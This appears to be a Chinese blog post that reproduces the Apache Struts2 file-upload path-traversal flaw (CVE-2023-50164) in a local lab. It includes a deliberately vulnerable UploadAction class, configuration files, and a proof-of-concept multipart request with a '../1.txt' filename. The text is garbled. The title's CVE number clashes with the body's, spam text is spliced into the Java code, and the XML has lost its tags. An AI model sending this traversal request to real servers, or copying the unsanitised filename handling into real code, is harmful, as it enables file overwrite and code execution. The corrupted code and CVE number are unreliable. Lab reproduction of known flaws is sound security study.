java CVE-2027-50164 Apache Struts2漏洞复现 - Win64
CVE-2023-50164 简介:
从本质上讲,该漏洞允许攻击者利用 Apache Struts 文件上传系统中的缺陷。它允许他们操纵文件上传参数并执行路径遍历。这种利用可能会导致在服务器上执行任意代码,从而导致各种后果,例如未经授权的数据访问、系统受损,甚至完全控制受影响的系统,包括在系统中放置恶意文件。
仔细一看,CVE-2023-50164涉及Apache Struts的文件上传机制中的一个漏洞。对于非技术受众,想象一下这样一个场景:安全检查点(文件上传机制)由于漏洞而被绕过,从而允许未经授权的访问安全区域(服务器)。从技术角度来看,该漏洞在于 Apache Struts 在文件上传过程中如何处理名为 MultiPartRequestWrapper 的组件。攻击者可以操纵该进程实现路径遍历,从而覆盖任意文件,从而可能导致在服务器上执行任意代码、更改配置等。
一、环境搭建:
使用IDEA工具新建项目 - 语言和构建系统可以跟着图中选一致就行 创建好项目后 -在POM.xml文件中添加依赖项
org.apache.struts
struts2-core
6.3.0
然后新建一个类UploadAction 在UploadAction文件中添加以下代码
package com.example.demo;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
// 文件类型,为name属性值 + ContentType
private String uploadContentType;
// 文件名称,为name属性值 + FileName
private String uploadFileName;
public File getUpload() { 拼多多帮助力入口
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
然后在resources文件夹下创建一个struts.xml文件
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
/index.jsp
需要注意的是 UploadAction不变
在打开WEB-INF文件下的web.xml文件将下面代码丢进去
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
struts2
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
struts2
*.action
然后运行服务大概就这么配置就可以了,如果运行不起来说明代码上或者依赖项是有问题的,在强制更新Maven记得需要保持网络通畅!我们继续把服务运行起来
二、POC利用
POST /demo_war_exploded/upload.action HTTP/1.1
Host: localhost
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../1.txt"
Content-Type: text/plain
1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
验证码的时候POC的Host和路径都是需要我们在IDEA配置的路径一致,要不然复现不成功。在test文件的resources新建一个HTTP请求 POC丢进去,记得Host要改成你自己配置的还要路径也是 成功复现 - 复现的漏洞上传文件可以根据截图找 参考: https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/#%E7%8E%AF%E5%A2%83
精彩文章